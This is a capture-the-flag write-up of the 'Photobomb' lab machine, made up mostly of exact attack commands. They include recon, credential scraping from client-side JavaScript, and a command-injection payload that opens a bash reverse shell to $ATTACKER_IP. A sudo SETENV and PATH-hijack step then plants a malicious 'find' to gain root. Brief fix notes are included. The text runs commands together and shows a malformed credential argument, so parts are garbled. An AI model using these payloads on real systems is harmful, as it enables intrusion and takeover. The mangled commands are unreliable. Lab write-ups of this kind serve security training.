Photobomb
Summary
I found that the Photobomb Ruby/Sinatra web application, reverse-proxied by nginx, hard-coded HTTP Basic-Auth credentials inside a publicly accessible JavaScript file served before any login prompt. Using those credentials to reach the /printer management panel, I appended shell commands to the image file-type POST parameter, which the server passed unsanitized to a shell, producing a reverse shell as the application user 'wizard'.
A sudo rule then allowed 'wizard' to run a root-owned cleanup script with full environment inheritance (SETENV) and no password, while the script invoked the 'find' binary by name rather than absolute path. Planting a malicious 'find' binary in /tmp and overriding PATH via the SETENV flag caused root to execute my own code, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,80 $TARGETecho "$TARGET photobomb.htb" | sudo tee -a /etc/hostscurl -si http://photobomb.htb/Exact commands 1
curl -s http://photobomb.htb/photobomb.jsFixRemove credentials from client-side JavaScriptHigh
Exact commands 1
curl -si -u '$PASSWORD3$PASSWORD2' http://photobomb.htb/printerExact commands 2
nc -lvnp 4444curl -si -u '$PASSWORD3$PASSWORD2' -X POST http://photobomb.htb/printer --data-urlencode 'photo=eleanor-rabbit-holy-matrimony.jpg' --data-urlencode "filetype=jpg;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data 'dimensions=3000x2000'FixValidate and sandbox the filetype parameter — never concatenate user input into shell commandsCritical
Exact commands 1
cat /home/wizard/user.txtExact commands 2
sudo -lcat /opt/cleanup.shFixRemove SETENV from the sudo rule and use absolute paths in every cleanup scriptCritical
Exact commands 4
echo 'chmod +s /bin/bash' > /tmp/find && chmod +x /tmp/findsudo PATH=/tmp:$PATH /opt/cleanup.sh/bin/bash -pcat /root/root.txtExposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |